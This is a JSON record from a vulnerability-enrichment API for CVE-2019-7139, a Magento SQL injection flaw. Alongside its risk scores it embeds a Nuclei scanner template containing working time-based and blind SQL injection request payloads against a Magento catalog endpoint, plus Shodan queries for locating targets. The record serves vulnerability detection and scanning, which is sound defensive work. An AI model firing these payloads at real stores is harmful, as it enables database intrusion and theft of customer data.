{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-7139/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-7139/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-7139/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-7139/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-7139/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-7139/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2019-7139"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2019-7139"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.22242,"kev":false,"percentile":0.97681},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-7139.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2019-7139\n\ninfo:\n  name: Magento - SQL Injection\n  author: MaStErChO\n  severity: critical\n  description: |\n    An unauthenticated user can execute SQL statements that allow arbitrary read access to the underlying database, which causes sensitive data leakage.\n  impact: |\n    Unauthenticated attackers can execute SQL injection to extract sensitive database contents including customer information, payment details, and administrative credentials, potentially leading to complete store compromise.\n  remediation: |\n    This issue is fixed in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2.\n  reference:\n    - https://pentest-tools.com/blog/exploiting-sql-injection-in-magento-with-sqlmap\n    - https://www.ambionics.io/blog/magento-sqli\n    - https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-13\n    - https://github.com/koutto/jok3r-pocs\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-7139\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-7139\n    cwe-id: CWE-89\n    epss-score: 0.22242\n    epss-percentile: 0.97689\n    cpe: cpe:2.3:a:magento:magento:*:*:*:*:open_source:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: magento\n    product: magento\n    framework: magento\n    shodan-query:\n      - http.component:\"Magento\"\n      - cpe:\"cpe:2.3:a:magento:magento\"\n      - http.component:\"magento\"\n  tags: time-based-sqli,cve,cve2019,sqli,magento,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"text/x-magento-init\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 20s\n        GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT*FROM+(SELECT+SLEEP((8)))a)%3d1+--+- HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20- HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=1)%20--%20- HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        name: time-based\n        dsl:\n          - 'duration_1>=8'\n          - 'contains(content_type_1, \"application/json\")'\n        condition: and\n\n      - type: dsl\n        name: blind-based\n        dsl:\n          - 'contains(content_type_2, \"application/json\") && contains(content_type_3, \"application/json\")'\n          - 'status_code_2 == 200 && status_code_3 == 400'\n          - 'len(body_2) == 2 && len(body_3) == 2'\n        condition: and\n# digest: 4b0a00483046022100b2c8f145a915ec26cc9dca3d625c317a3a9a148f6ea37791746c3baf9e15130702210090069d3d218d070c44aec38cfbeb3ae059e3075f14af9950a7bdeac768016edf:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-7139"}